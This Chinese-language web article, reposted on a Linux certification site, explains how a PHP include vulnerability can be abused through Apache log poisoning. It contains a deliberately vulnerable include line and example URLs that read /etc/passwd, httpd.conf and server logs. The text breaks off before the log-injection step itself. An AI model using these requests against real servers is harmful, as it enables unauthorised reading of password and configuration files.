首页 > Linux考试认证

导读:关于php包含Apache日志的利用,其实也就是利用提交的网址里有php语句,然后再被Apache服务器的日志记录,然后php再去包含执行,从而包含了去执行。

时间:2010-08-20 02:57:32  作者:  我要投稿
Linux初探欢迎您的投稿,投放方法请点击这里查看,我们会定期赠送精美小礼品给优秀的投稿作者。海纳百川 取则行远!LinuxGoo欢迎您的到来。
来源:中国IT实验室2010/8/19【考试大:中国教育考试第一门户】模拟考场视频课程字号:T T导读:关于php包含Apache日志的利用,其实也就是利用提交的网址里有php语句,然......
来源:中国IT实验室 2010/8/19 【考试大:中国教育考试第一门户】 模拟考场 视频课程 字号:T T 导读:关于php包含Apache日志的利用,其实也就是利用提交的网址里有php语句,然后再被Apache服务器的日志记录,然后php再去包含执行,从而包含了去执行。

  这种办法最大的弊端是Apache日志肯定会过大,回应的时候当然会超时什么的,所以也是受条件限制的。全当一种研究算了。下面是我的测试过程,我觉得很有意思,你也看看。

  比如说,在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句

  以下是引用片段:

  <? include($zizzy); ?> //包含变量$zizzy

  你可以

  http://xxx.com/z.php?zizzy=/etc/inetd.conf

  http://xxx.com/z.php?zizzy=/proc/cpuinfo

  http://xxx.com/z.php?zizzy=/etc/passwd

  就可以利用包含语句来查看一些系统环境和密码档文件。

  那么关于日志包含下面我们来看:

  比如我们的Apache的服务器配置文件位置在这里

  /usr/local/apache/conf/httpd.conf

  那么我们来包含一下httpd.conf,来看下路径信息什么的

  http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf

  读出Apache的配置信息,这里列出部分信息。

  <VirtualHost 218.63.89.2>

  User #3

  Group silver

  ServerAdmin webmaster@xxx.com

  DocumentRoot /home/virtual/www.xxx.com

  ServerName www.xxx.com

  ServerAlias xxx.com

  ErrorLog /home/virtual/www.xxx.com/logs/www-error_log

  CustomLog /home/virtual/www.xxx.com/logs/www-access_log common

  ScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/

  Alias /icons/ /home/virtual/www.xxx.com/icons

  </VirtualHost>

  而我们提交http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

  就可以读出Apache的错误日志记录

  [Mon Jan 22 14:01:16 2005] [error] [client 218.63.194.76] File does not

如果您需转载 导读:关于php包含Apache日志的利用,其实也就是利用提交的网址里有php语句,然后再被Apache服务器的日志记录,然后php再去包含执行,从而包含了去执行。,请注明来自LinuxGoo.com,其版权归原作者所有。请广大网友留言时遵纪守法,使用文明用语。如果您在应用中有什么问题,请在下面留言,我们会尽快解答。
来顶一下
近回首页
返回首页
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
相关文章
栏目热门